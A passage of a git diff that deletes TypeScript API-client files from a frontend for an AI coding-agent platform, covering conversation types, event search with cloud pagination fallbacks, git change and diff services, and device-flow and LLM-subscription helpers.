"WORKING" - | "WAITING_FOR_SANDBOX" - | "PREPARING_REPOSITORY" - | "RUNNING_SETUP_SCRIPT" - | "SETTING_UP_GIT_HOOKS" - | "SETTING_UP_SKILLS" - | "STARTING_CONVERSATION" - | "READY" - | "ERROR"; - -export interface AppConversationStartTask { - id: string; - created_by_user_id: string | null; - status: AppConversationStartTaskStatus; - detail: string | null; - app_conversation_id: string | null; - agent_server_url: string | null; - request: AppConversationStartRequest; - created_at: string; - updated_at: string; -} - -export interface SendMessageResponse { - role: "user" | "system" | "assistant" | "tool"; - content: MessageContent[]; -} - -export interface AppConversationStartTaskPage { - items: AppConversationStartTask[]; - next_page_id: string | null; -} - -export interface ConversationWorkspace { - working_dir: string | null; -} - -export interface LaunchedAgentProfile { - agent_profile_id: string; - revision: number; -} - -export interface AppConversation { - id: string; - created_by_user_id: string | null; - selected_repository: string | null; - selected_branch: string | null; - git_provider: Provider | null; - title: string | null; - trigger: ConversationTrigger | null; - pr_number: number[]; - /** - * High-level kind of the conversation's agent — ``"openhands"`` for an LLM- - * driven Agent, ``"acp"`` for an ACPAgent that delegates to an external - * ACP CLI subprocess. Consumers can use this to gate UI affordances that - * only make sense for one kind (e.g. the LLM-profile switcher in the chat - * header is a no-op for ACP conversations even though ``llm_model`` may - * carry the ACP subprocess model for display). - */ - agent_kind?: "openhands" | "acp" | null; - launched_agent_profile?: LaunchedAgentProfile | null; - /** - * For ACP conversations, the registry key of the ACP CLI server the - * conversation was launched against (e.g. ``"claude-code"``, ``"codex"``, - * ``"gemini-cli"``). Populated from ``info.tags.acpserver`` — see - * ``ACP_SERVER_TAG_KEY`` in ``agent-server-adapter.ts`` for the wire - * format and the rationale behind the snake_case-incompatible - * ``acpserver`` form. ``null`` for OpenHands conversations and for ACP - * conversations whose tag wasn't stamped (e.g. created via an older - * client or via the raw API). Consumers resolve the display name via - * ``getAcpProviderDisplayName(acp_server)`` and fall back to a generic - * "ACP" chip when the key is unknown or null. - */ - acp_server?: string | null; - /** - * Server-side key-value tags from the agent-server's - * ``ConversationInfo.tags`` (settable at creation and via - * ``PATCH /api/conversations/{id}``). Automations and API clients use these - * for attribution (e.g. ``origin=slack``, ``owner=alice``). Includes - * reserved/internal keys such as ``acpserver`` — display consumers should - * go through ``getDisplayConversationTags`` in ``agent-server-adapter.ts`` - * rather than reading this raw. ``null``/absent for Cloud conversations - * and agent-servers that don't return tags. - * - * PATCH semantics: the agent-server replaces the **complete** ``tags`` map - * on every PATCH — it does not merge individual keys. A writer adding one - * tag must read the current map, merge, and send the full desired result, - * or it will silently drop every other tag (including ``acpserver``). - */ - tags?: Record | null; - llm_model: string | null; - metrics: MetricsSnapshot | null; - created_at: string; - updated_at: string; - execution_status: ExecutionStatus | null; - /** - * Cloud-only sandbox lifecycle status. Mirrors OpenHands' V1SandboxStatus. - * Absent / null for local agent-server conversations. - */ - sandbox_status?: SandboxStatus | null; - conversation_url: string | null; - session_api_key: string | null; - sandbox_id: string | null; - workspace?: ConversationWorkspace | null; - /** - * The local workspace the user explicitly attached when creating this - * conversation. Client-side only — never round-tripped to the agent-server - * or cloud. Null/undefined for conversations created via "No workspace". - * Distinct from `workspace.working_dir`, which is the runtime path and may - * either match this folder directly or point at a per-conversation worktree. - */ - selected_workspace?: string | null; - /** - * The LLM profile this conversation was created with / last switched to. - * Hydrated from client-side metadata (see - * `ConversationMetadata.active_profile`). Preferred over matching - * `llm_model` against the profile list, which is ambiguous when several - * profiles share a model (#1082). Null when unknown (e.g. created by an - * older client) — consumers fall back to model-matching. - */ - active_profile?: string | null; - public?: boolean; - sub_conversation_ids: string[]; -} - -export interface AppConversationPage { - items: AppConversation[]; - next_page_id: string | null; -} - -export interface Skill { - name: string; - type: "repo" | "knowledge" | "agentskills"; - content: string; - triggers: string[]; - source?: string | null; - description?: string | null; - version?: string; - license?: string | null; - compatibility?: string | null; - metadata?: Record | null; - allowed_tools?: string[] | null; - is_agentskills_format?: boolean; - disable_model_invocation?: boolean; -} - -export interface GetSkillsResponse { - skills: Skill[]; -} - -export interface HookDefinition { - type: string; // 'command' or 'prompt' - command: string; - timeout: number; - async?: boolean; -} - -export interface HookMatcher { - matcher: string; // Pattern: '*', exact match, or regex - hooks?: HookDefinition[]; // May be undefined while hooks are still executing on the server -} - -export interface HookEvent { - event_type: string; // e.g., 'stop', 'pre_tool_use', 'post_tool_use' - matchers: HookMatcher[]; -} - -export interface GetHooksResponse { - hooks: HookEvent[]; -} - -// Runtime conversation types (from agent server) -export interface RuntimeConversationStats { - usage_to_metrics: Record; -} - -export interface RuntimeMetrics { - model_name: string; - accumulated_cost: number; - max_budget_per_task: number | null; - accumulated_token_usage: TokenUsage | null; - costs: Cost[]; - response_latencies: ResponseLatency[]; - token_usages: TokenUsage[]; -} - -export interface Cost { - model: string; - cost: number; - timestamp: number; -} - -export interface ResponseLatency { - model: string; - latency: number; - response_id: string; -} - -export interface RuntimeConversationInfo { - id: string; - title: string | null; - metrics: MetricsSnapshot | null; - created_at: string; - updated_at: string; - status: ExecutionStatus; - stats: RuntimeConversationStats; -} diff --git a/src/api/conversation-service/conversation-service.api.ts b/src/api/conversation-service/conversation-service.api.ts deleted file mode 100644 index 249854cc4..000000000 --- a/src/api/conversation-service/conversation-service.api.ts +++ /dev/null @@ -1,77 +0,0 @@ -import { VSCodeClient } from "@openhands/typescript-client/clients"; -import { RemoteEventsList } from "@openhands/typescript-client/events/remote-events-list"; -import { uploadFilesToConversation } from "#/api/conversation-file-upload.api"; -import { - GetVSCodeUrlResponse, - GetTrajectoryResponse, - FileUploadSuccessResponse, -} from "../open-hands.types"; -import { getAgentServerWorkingDir } from "../agent-server-config"; -import { - getAgentServerClientOptions, - getAgentServerHttpClientOptions, -} from "../agent-server-client-options"; -import { AppConversation } from "./agent-server-conversation-service.types"; - -class ConversationService { - private static currentConversation: AppConversation | null = null; - - static setCurrentConversation( - currentConversation: AppConversation | null, - ): void { - this.currentConversation = currentConversation; - } - - static getCurrentConversation(): AppConversation | null { - return this.currentConversation; - } - - private static getClientOverrides() { - return { - sessionApiKey: this.currentConversation?.session_api_key, - }; - } - - static async getVSCodeUrl( - conversationId: string, - ): Promise { - const workspaceDir = - this.currentConversation?.id === conversationId - ? (this.currentConversation?.workspace?.working_dir ?? - getAgentServerWorkingDir()) - : getAgentServerWorkingDir(); - const vscodeUrl = await new VSCodeClient( - getAgentServerClientOptions(this.getClientOverrides()), - ).getUrl({ - baseUrl: - typeof window !== "undefined" ? window.location.origin : undefined, - workspaceDir, - }); - - return { vscode_url: vscodeUrl }; - } - - static async getTrajectory( - conversationId: string, - ): Promise { - const page = await new RemoteEventsList( - getAgentServerHttpClientOptions(this.getClientOverrides()), - conversationId, - ).search({ limit: 10000 }); - - return { trajectory: page.items ?? [] }; - } - - static async uploadFiles( - conversationId: string, - files: File[], - ): Promise { - return uploadFilesToConversation( - conversationId, - files, - this.currentConversation, - ); - } -} - -export default ConversationService; diff --git a/src/api/device-flow-client.ts b/src/api/device-flow-client.ts deleted file mode 100644 index 63dbd5344..000000000 --- a/src/api/device-flow-client.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { - pollForToken as sdkPollForToken, - startDeviceFlow as sdkStartDeviceFlow, -} from "@openhands/typescript-client/client/device-flow-client"; -import type { - DeviceAuthorizationResponse, - DeviceTokenResponse, - PollDeviceTokenOptions, -} from "@openhands/typescript-client/client/device-flow-client"; -import { AGENT_CANVAS_CLIENT_HEADERS } from "./client-source"; - -export { - DeviceFlowError, - isOpenHandsCloudHost, -} from "@openhands/typescript-client/client/device-flow-client"; - -export function startDeviceFlow( - host: string, -): Promise { - return sdkStartDeviceFlow(host, { headers: AGENT_CANVAS_CLIENT_HEADERS }); -} - -export function pollForToken( - host: string, - deviceCode: string, - options: PollDeviceTokenOptions, -): Promise { - return sdkPollForToken(host, deviceCode, { - ...options, - headers: AGENT_CANVAS_CLIENT_HEADERS, - }); -} - -export type { - DeviceAuthorizationResponse, - DeviceTokenResponse, - PollDeviceTokenOptions as PollOptions, -} from "@openhands/typescript-client/client/device-flow-client"; diff --git a/src/api/event-service/event-service.api.test.ts b/src/api/event-service/event-service.api.test.ts deleted file mode 100644 index 6c74ba272..000000000 --- a/src/api/event-service/event-service.api.test.ts +++ /dev/null @@ -1,56 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const { callCloudProxyMock } = vi.hoisted(() => ({ - callCloudProxyMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ConversationClient: class {}, -})); -vi.mock("@openhands/typescript-client/events/remote-events-list", () => ({ - RemoteEventsList: class {}, -})); -vi.mock("../backend-registry/active-store", () => ({ - getActiveBackend: () => ({ backend: { kind: "cloud" } }), -})); -vi.mock("../cloud/proxy", () => ({ callCloudProxy: callCloudProxyMock })); -vi.mock("../agent-server-client-options", () => ({ - getAgentServerClientOptions: vi.fn(), - getAgentServerHttpClientOptions: vi.fn(), -})); - -import EventService from "./event-service.api"; - -describe("EventService.searchEvents strict pagination", () => { - beforeEach(() => { - callCloudProxyMock.mockReset(); - }); - - it("rethrows unsupported cloud pagination for completeness-sensitive callers", async () => { - const paginationError = new Error("pagination unsupported"); - callCloudProxyMock.mockRejectedValue(paginationError); - - await expect( - EventService.searchEvents("conversation-1", null, null, { - limit: 100, - sortOrder: "TIMESTAMP_DESC", - strictPagination: true, - }), - ).rejects.toBe(paginationError); - }); - - it("retains the empty-page fallback for ordinary chat pagination", async () => { - callCloudProxyMock.mockRejectedValue(new Error("pagination unsupported")); - const warn = vi.spyOn(console, "warn").mockImplementation(() => undefined); - - await expect( - EventService.searchEvents("conversation-1", null, null, { - limit: 50, - timestampLt: "2026-07-10T12:34:56.000Z", - }), - ).resolves.toEqual({ items: [], next_page_id: null }); - - expect(warn).toHaveBeenCalledOnce(); - warn.mockRestore(); - }); -}); diff --git a/src/api/event-service/event-service.api.ts b/src/api/event-service/event-service.api.ts deleted file mode 100644 index 8745d5904..000000000 --- a/src/api/event-service/event-service.api.ts +++ /dev/null @@ -1,184 +0,0 @@ -import { ConversationClient } from "@openhands/typescript-client/clients"; -import { RemoteEventsList } from "@openhands/typescript-client/events/remote-events-list"; -import { OpenHandsEvent } from "#/types/agent-server/core"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { callCloudProxy } from "../cloud/proxy"; -import { - getAgentServerClientOptions, - getAgentServerHttpClientOptions, -} from "../agent-server-client-options"; -import type { - ConfirmationResponseRequest, - ConfirmationResponseResponse, - EventSearchOptions, - EventSearchPage, -} from "./event-service.types"; - -/** - * Cloud-mode REST calls are split between two upstream hosts (matching - * OpenHands' cloud frontend): - * - * - **App API** (`backend.host`, default in `callCloudProxy`): - * event *history* (`/api/v1/conversation/{id}/events/search`). - * Persisted by the cloud backend — survives the runtime sandbox. - * - * - **Runtime sandbox** (extracted from `conversation.conversation_url` - * and passed as `hostOverride`): live runtime endpoints like - * `/api/conversations/{id}/events/count` and - * `/api/conversations/{id}/events/respond_to_confirmation`. Auth on - * these endpoints is `X-Session-API-Key`, not `Authorization: Bearer`. - * - * App API calls go directly to the cloud backend with bearer auth. Runtime - * sandbox calls go through `/api/cloud-proxy`, which avoids depending on CORS - * for per-conversation runtime hosts. - * - * Local mode keeps the existing typescript-client path: it targets the - * conversation's host directly via typed client classes. - */ -class EventService { - static async respondToConfirmation( - conversationId: string, - conversationUrl: string, - request: ConfirmationResponseRequest, - sessionApiKey?: string | null, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "POST", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/conversations/${conversationId}/events/respond_to_confirmation`, - body: request, - authMode: "session-api-key", - sessionApiKey, - }); - } - - return new ConversationClient( - getAgentServerClientOptions({ - conversationUrl, - sessionApiKey, - }), - ).respondToConfirmation( - conversationId, - request, - ); - } - - static async getEventCount( - conversationId: string, - conversationUrl: string, - sessionApiKey?: string | null, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/conversations/${conversationId}/events/count`, - authMode: "session-api-key", - sessionApiKey, - }); - } - - return new ConversationClient( - getAgentServerClientOptions({ - conversationUrl, - sessionApiKey, - }), - ).getEventCount(conversationId); - } - - /** - * Search events for a conversation. Returns the raw page so callers can - * paginate (via `next_page_id`) and so REST-driven history loading can - * tell when there are no more older events to load. - */ - static async searchEvents( - conversationId: string, - conversationUrl?: string | null, - sessionApiKey?: string | null, - options: EventSearchOptions = {}, - ): Promise> { - const active = getActiveBackend().backend; - const limit = options.limit ?? 100; - - if (active.kind === "cloud") { - // Event *history* lives on the cloud App API, not the runtime - // sandbox. Path is singular `conversation` and v1-prefixed. - // - // Full pagination params (sort_order, page_id, timestamp filters) - // require the server-side fix from OpenHands/OpenHands#14399. If - // the cloud backend hasn't been updated yet, the timestamp filters - // trigger a 500 (str-vs-datetime comparison). We attempt the full - // request first and fall back to a limit-only request on failure. - const cloudLimit = Math.min(limit, 100); - const hasFilterParams = !!( - options.sortOrder || - options.pageId || - options.timestampGte || - options.timestampLt - ); - - const params = new URLSearchParams(); - params.set("limit", String(cloudLimit)); - if (options.sortOrder) params.set("sort_order", options.sortOrder); - if (options.pageId) params.set("page_id", options.pageId); - if (options.timestampGte) - params.set("timestamp__gte", options.timestampGte); - if (options.timestampLt) params.set("timestamp__lt", options.timestampLt); - - const doCloudSearch = (searchParams: URLSearchParams) => - callCloudProxy>({ - backend: active, - method: "GET", - path: `/api/v1/conversation/${conversationId}/events/search?${searchParams.toString()}`, - }); - - try { - const data = await doCloudSearch(params); - return { - items: data?.items ?? [], - next_page_id: data?.next_page_id ?? null, - }; - } catch (err) { - if (!hasFilterParams) throw err; - if (options.strictPagination) throw err; - - // Server doesn't support timestamp filters yet — stop pagination - // by returning an empty page so the UI doesn't retry indefinitely. - // A limit-only fallback would return the same most-recent events - // already in the store, which get deduped but keep hasMore=true. - console.warn( - "[EventService] Cloud backend doesn't support pagination filters. " + - "Falling back to initial load only. " + - "Server needs OpenHands/OpenHands#14399.", - ); - return { items: [], next_page_id: null }; - } - } - - const page = await new RemoteEventsList( - getAgentServerHttpClientOptions({ conversationUrl, sessionApiKey }), - conversationId, - ).search({ - limit, - ...(options.pageId ? { page_id: options.pageId } : {}), - ...(options.sortOrder ? { sort_order: options.sortOrder } : {}), - ...(options.timestampGte ? { timestamp__gte: options.timestampGte } : {}), - ...(options.timestampLt ? { timestamp__lt: options.timestampLt } : {}), - }); - - return { - items: (page?.items ?? []) as OpenHandsEvent[], - next_page_id: page?.next_page_id ?? null, - }; - } -} - -export default EventService; diff --git a/src/api/event-service/event-service.types.ts b/src/api/event-service/event-service.types.ts deleted file mode 100644 index 32b205444..000000000 --- a/src/api/event-service/event-service.types.ts +++ /dev/null @@ -1,34 +0,0 @@ -export interface ConfirmationResponseRequest { - accept: boolean; - reason?: string; -} - -export interface ConfirmationResponseResponse { - success: boolean; -} - -export type EventSortOrder = "TIMESTAMP" | "TIMESTAMP_DESC"; - -export interface EventSearchOptions { - /** Maximum number of events to return per page (server caps at 100). */ - limit?: number; - /** Page ID for pagination. */ - pageId?: string; - /** Sort order for the underlying server query. */ - sortOrder?: EventSortOrder; - /** Filter: event timestamp >= this value (ISO 8601). */ - timestampGte?: string; - /** Filter: event timestamp < this value (ISO 8601). */ - timestampLt?: string; - /** - * Surface unsupported cloud pagination instead of degrading to an empty - * page. Callers that require a complete result (such as transcript export) - * must set this so a partial history is never mistaken for exhaustion. - */ - strictPagination?: boolean; -} - -export interface EventSearchPage { - items: TEvent[]; - next_page_id?: string | null; -} diff --git a/src/api/git-service/agent-server-git-service.api.ts b/src/api/git-service/agent-server-git-service.api.ts deleted file mode 100644 index ded087456..000000000 --- a/src/api/git-service/agent-server-git-service.api.ts +++ /dev/null @@ -1,282 +0,0 @@ -import { isAxiosError } from "axios"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { mapAnyGitStatusToClientStatus } from "#/utils/git-status-mapper"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import type { - GitChange, - GitChangeDiff, - GitCommitsPage, -} from "../open-hands.types"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { callCloudProxy } from "../cloud/proxy"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { isSdkHttpStatusError } from "../agent-server-compatibility"; - -interface AgentServerGitChange { - status: string; - path: string; -} - -interface AgentServerGitCommit { - sha: string; - short_sha: string; - subject: string; - author: string; - timestamp: string; -} - -interface AgentServerGitCommitsPage { - commits: AgentServerGitCommit[]; - has_more: boolean; -} - -/** - * Git operations for agent-server conversations. - * - * In **local** mode the runtime is reachable directly from the browser - * (it's `127.0.0.1:18000`); the SDK's `RemoteWorkspace` calls land - * fine. In **cloud** mode the runtime is at - * `*.prod-runtime.all-hands.dev`, which doesn't allow CORS from - * `localhost`. So cloud-mode calls hit the cloud API's - * `GET /api/v1/app-conversations/{id}/git/{changes,diff}` proxy - * endpoints instead — the server resolves the conversation's runtime - * and makes the hop itself with the sandbox's session API key, and the - * cloud API's CORS is permissive for bearer-token requests. - */ - -/** - * The cloud runtime's `/api/git/{changes,diff}` endpoints prepend - * `/workspace/` to relative paths (so a relative arg like - * `workspace/project` becomes `/workspace/workspace/project` and 404s). - * `getGitPath` returns the local agent-server's relative convention by - * default; normalize to an absolute path before sending to the cloud - * runtime. - */ -function toAbsoluteRuntimePath(path: string): string { - return path.startsWith("/") ? path : `/${path}`; -} - -/** - * GET an arbitrary runtime git endpoint in both backend modes. Local mode - * uses the SDK's public `HttpClient` (the typed `gitChanges`/`gitDiff` - * wrappers don't know the newer endpoints/params, and they re-wrap errors, - * dropping the `.status` needed for 404 feature-detection). Cloud mode goes - * through the generic cloud-proxy envelope with the sandbox's session API - * key — the same hop `executeCommand`/`downloadFile` use — so no dedicated - * cloud API endpoints are required. - */ -async function getFromRuntime( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - apiPath: string, - params: { path: string } & Record, -): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud" && conversationUrl) { - const search = new URLSearchParams({ - ...params, - path: toAbsoluteRuntimePath(params.path), - }); - return callCloudProxy({ - backend: active, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `${apiPath}?${search.toString()}`, - authMode: "session-api-key", - sessionApiKey: sessionApiKey ?? undefined, - }); - } - - const response = await new RemoteWorkspace( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).client.get(apiPath, { params }); - return response.data; -} - -/** - * The commit endpoints are newer than some deployed agent servers. A 404 - * (route absent) means "server too old" — callers hide the commits section - * instead of surfacing an error. Local calls and cloud-proxy calls (via the - * shared TypeScript client) both throw the SDK's `HttpError`; the axios - * check is kept as a safety net for axios-shaped errors. - */ -function isEndpointMissingError(error: unknown): boolean { - return ( - isSdkHttpStatusError(error, 404) || - (isAxiosError(error) && error.response?.status === 404) - ); -} - -class AgentServerGitService { - static async getGitChanges( - conversationId: string, - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - path: string, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud" && conversationId) { - const params = new URLSearchParams(); - params.set("path", toAbsoluteRuntimePath(path)); - const data = await callCloudProxy({ - backend: active, - method: "GET", - path: `/api/v1/app-conversations/${conversationId}/git/changes?${params.toString()}`, - }); - if (!Array.isArray(data)) { - throw new Error( - "Invalid response from runtime - runtime may be unavailable", - ); - } - return data.map((change) => ({ - status: mapAnyGitStatusToClientStatus( - String(change.status) as Parameters< - typeof mapAnyGitStatusToClientStatus - >[0], - ), - path: change.path, - })); - } - - // No `ref`: let the server auto-detect the base (origin branch / - // merge-base), so changes the agent has already committed still show - // up. `ref: "HEAD"` would go blank after every `git commit` — and the - // cloud-proxy branch above already omits `ref`. - const changes = await new RemoteWorkspace( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).gitChanges(path); - - if (!Array.isArray(changes)) { - throw new Error( - "Invalid response from runtime - runtime may be unavailable", - ); - } - - return changes.map((change) => ({ - status: mapAnyGitStatusToClientStatus( - String(change.status) as Parameters< - typeof mapAnyGitStatusToClientStatus - >[0], - ), - path: change.path, - })); - } - - /** - * List the conversation's commits (display-base..HEAD, newest first). - * Resolves to `null` when the agent server predates the endpoint (404), - * so callers can hide the commits section instead of erroring. - */ - static async getGitCommits( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - path: string, - limit = 50, - ): Promise { - try { - const page = await getFromRuntime( - conversationUrl, - sessionApiKey, - "/api/git/commits", - { path, limit: String(limit) }, - ); - return { - commits: (page?.commits ?? []).map((commit) => ({ - sha: commit.sha, - shortSha: commit.short_sha, - subject: commit.subject, - author: commit.author, - timestamp: commit.timestamp, - })), - hasMore: Boolean(page?.has_more), - }; - } catch (error) { - if (isEndpointMissingError(error)) return null; - throw error; - } - } - - /** Files changed by a single commit (vs its first parent). */ - static async getCommitChanges( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - path: string, - sha: string, - ): Promise { - const changes = await getFromRuntime( - conversationUrl, - sessionApiKey, - `/api/git/commits/${encodeURIComponent(sha)}/changes`, - { path }, - ); - - if (!Array.isArray(changes)) { - throw new Error( - "Invalid response from runtime - runtime may be unavailable", - ); - } - - return changes.map((change) => ({ - status: mapAnyGitStatusToClientStatus( - String(change.status) as Parameters< - typeof mapAnyGitStatusToClientStatus - >[0], - ), - path: change.path, - })); - } - - static async getGitChangeDiff( - conversationId: string, - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - path: string, - commit?: string, - ): Promise { - if (commit) { - // Per-commit diff: both sides come from git objects on the server, - // so files the commit deleted still render. - const commitDiff = await getFromRuntime< - GitChangeDiff & { diff?: string } - >(conversationUrl, sessionApiKey, "/api/git/diff", { path, commit }); - return { - modified: commitDiff?.modified ?? "", - original: commitDiff?.original ?? "", - ...(commitDiff?.diff ? { diff: commitDiff.diff } : {}), - } as GitChangeDiff; - } - - const active = getActiveBackend().backend; - - if (active.kind === "cloud" && conversationId) { - const params = new URLSearchParams(); - params.set("path", toAbsoluteRuntimePath(path)); - const diff = await callCloudProxy({ - backend: active, - method: "GET", - path: `/api/v1/app-conversations/${conversationId}/git/diff?${params.toString()}`, - }); - return { - modified: diff?.modified ?? "", - original: diff?.original ?? "", - ...(diff?.diff ? { diff: diff.diff } : {}), - } as GitChangeDiff; - } - - // No `ref` for the same reason as getGitChanges: the base must match - // the one the change list was computed against. - const diff = (await new RemoteWorkspace( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).gitDiff(path)) as GitChangeDiff & { diff?: string }; - - return { - modified: diff.modified ?? "", - original: diff.original ?? "", - ...(diff.diff ? { diff: diff.diff } : {}), - } as GitChangeDiff; - } -} - -export default AgentServerGitService; diff --git a/src/api/git-service/git-service.api.ts b/src/api/git-service/git-service.api.ts deleted file mode 100644 index 8208d0f7e..000000000 --- a/src/api/git-service/git-service.api.ts +++ /dev/null @@ -1,178 +0,0 @@ -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { RepositoryPage, BranchPage, InstallationPage } from "#/types/git"; -import { Provider } from "#/types/settings"; -import { GitChange, GitChangeDiff } from "../open-hands.types"; -import AgentServerConversationService from "../conversation-service/agent-server-conversation-service.api"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { mapAnyGitStatusToClientStatus } from "#/utils/git-status-mapper"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { - getCloudInstallations, - getCloudRepositoryBranches, - searchCloudRepositories, -} from "../cloud/git-service.api"; - -const safeProvider = (value: string): Provider => value as Provider; - -const isCloudActive = () => getActiveBackend().backend.kind === "cloud"; - -/** - * Guard against null/undefined provider values that would result in - * invalid API requests (e.g., "?provider=undefined"). Returns true - * if the provider is falsy and the request should be skipped. - */ -const isInvalidProvider = (provider: string | null | undefined): boolean => - !provider || provider === "undefined" || provider === "null"; - -const EMPTY_REPOSITORY_PAGE: RepositoryPage = { items: [], next_page_id: null }; -const EMPTY_BRANCH_PAGE: BranchPage = { items: [], next_page_id: null }; -const EMPTY_INSTALLATION_PAGE: InstallationPage = { - items: [], - next_page_id: null, -}; - -class GitService { - static async searchGitRepositories( - query: string, - provider: string, - limit = 100, - pageId?: string, - installationId?: string, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_REPOSITORY_PAGE; - } - return searchCloudRepositories({ - provider: safeProvider(provider), - query: query || undefined, - limit, - pageId, - installationId, - }); - } - - static async retrieveUserGitRepositories( - provider: string, - pageId?: string, - limit = 30, - installationId?: string, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_REPOSITORY_PAGE; - } - return searchCloudRepositories({ - provider: safeProvider(provider), - limit, - pageId, - installationId, - }); - } - - static async retrieveInstallationRepositories( - provider: string, - installationIndex: number, - installations: string[], - pageId?: string, - limit = 30, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_REPOSITORY_PAGE; - } - const installationId = installations[installationIndex]; - if (!installationId) return EMPTY_REPOSITORY_PAGE; - return searchCloudRepositories({ - provider: safeProvider(provider), - installationId, - limit, - pageId, - }); - } - - static async getRepositoryBranches( - repository: string, - provider: string, - query: string = "", - pageId?: string, - limit = 30, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_BRANCH_PAGE; - } - return getCloudRepositoryBranches({ - provider: safeProvider(provider), - repository, - query: query || undefined, - pageId, - limit, - }); - } - - static async searchRepositoryBranches( - repository: string, - provider: string, - query: string, - pageId?: string, - limit = 30, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_BRANCH_PAGE; - } - return getCloudRepositoryBranches({ - provider: safeProvider(provider), - repository, - query, - pageId, - limit, - }); - } - - static async getUserInstallations( - provider: string, - pageId?: string, - limit = 100, - ): Promise { - if (isInvalidProvider(provider) || !isCloudActive()) { - return EMPTY_INSTALLATION_PAGE; - } - return getCloudInstallations({ - provider: safeProvider(provider), - pageId, - limit, - }); - } - - static async getGitChanges(conversationId: string): Promise { - const workingDir = - await AgentServerConversationService.resolveConversationWorkingDir( - conversationId, - ); - const changes = await new RemoteWorkspace( - getAgentServerClientOptions({ workingDir }), - ).gitChanges(workingDir); - - return changes.map((change) => ({ - path: change.path, - status: mapAnyGitStatusToClientStatus( - String(change.status) as Parameters< - typeof mapAnyGitStatusToClientStatus - >[0], - ), - })); - } - - static async getGitChangeDiff( - _conversationId: string, - path: string, - ): Promise { - const diff = await new RemoteWorkspace( - getAgentServerClientOptions(), - ).gitDiff(path); - - return { - modified: diff.modified ?? "", - original: diff.original ?? "", - }; - } -} - -export default GitService; diff --git a/src/api/llm-subscription-service.ts b/src/api/llm-subscription-service.ts deleted file mode 100644 index 815e145f5..000000000 --- a/src/api/llm-subscription-service.ts +++ /dev/null @@ -1,199 +0,0 @@ -import { getAgentServerClientOptions } from "./agent-server-client-options"; -import { - OPENAI_SUBSCRIPTION_DEVICE_POLL_PATH, - OPENAI_SUBSCRIPTION_DEVICE_START_PATH, - OPENAI_SUBSCRIPTION_LOGOUT_PATH, - OPENAI_SUBSCRIPTION_MODELS_PATH, - OPENAI_SUBSCRIPTION_STATUS_PATH, - OPENAI_SUBSCRIPTION_VENDOR, -} from "#/constants/llm-subscription"; - -type RawSubscriptionStatus = Record; -type RawDeviceStart = Record; - -export interface LLMSubscriptionStatus { - vendor: typeof OPENAI_SUBSCRIPTION_VENDOR; - connected: boolean; - accountEmail: string | null; - expiresAt: string | number | null; -} - -export interface LLMSubscriptionDeviceChallenge { - deviceCode: string; - userCode: string; - verificationUri: string; - verificationUriComplete: string | null; - expiresAt: string | number | null; - intervalSeconds: number | null; -} - -function isRecord(value: unknown): value is Record { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -const readString = ( - value: Record, - keys: string[], -): string | null => { - for (const key of keys) { - const candidate = value[key]; - if (typeof candidate === "string" && candidate.trim().length > 0) { - return candidate.trim(); - } - } - return null; -}; - -const readNumber = ( - value: Record, - keys: string[], -): number | null => { - for (const key of keys) { - const candidate = value[key]; - if (typeof candidate === "number" && Number.isFinite(candidate)) { - return candidate; - } - } - return null; -}; - -const readBoolean = ( - value: Record, - keys: string[], -): boolean => { - for (const key of keys) { - const candidate = value[key]; - if (typeof candidate === "boolean") { - return candidate; - } - } - return false; -}; - -async function requestSubscriptionEndpoint( - path: string, - init: RequestInit = {}, -): Promise { - const { host, apiKey } = getAgentServerClientOptions(); - const headers = new Headers(init.headers); - headers.set("Accept", "application/json"); - if (init.body && !headers.has("Content-Type")) { - headers.set("Content-Type", "application/json"); - } - if (apiKey) { - headers.set("X-Session-API-Key", apiKey); - } - - const response = await fetch(`${host}${path}`, { ...init, headers }); - if (!response.ok) { - throw new Error(`Subscription request failed with ${response.status}`); - } - return response.json(); -} - -function normalizeModels(raw: unknown): string[] { - if (Array.isArray(raw)) { - return raw.filter((item): item is string => typeof item === "string"); - } - if (isRecord(raw) && Array.isArray(raw.models)) { - return raw.models.filter( - (item): item is string => typeof item === "string", - ); - } - return []; -} - -function normalizeStatus(raw: RawSubscriptionStatus): LLMSubscriptionStatus { - return { - vendor: OPENAI_SUBSCRIPTION_VENDOR, - connected: readBoolean(raw, ["connected", "authenticated", "is_connected"]), - accountEmail: readString(raw, ["account_email", "email", "account"]), - expiresAt: - readString(raw, ["expires_at", "expiresAt"]) ?? - readNumber(raw, ["expires_at", "expiresAt"]), - }; -} - -function 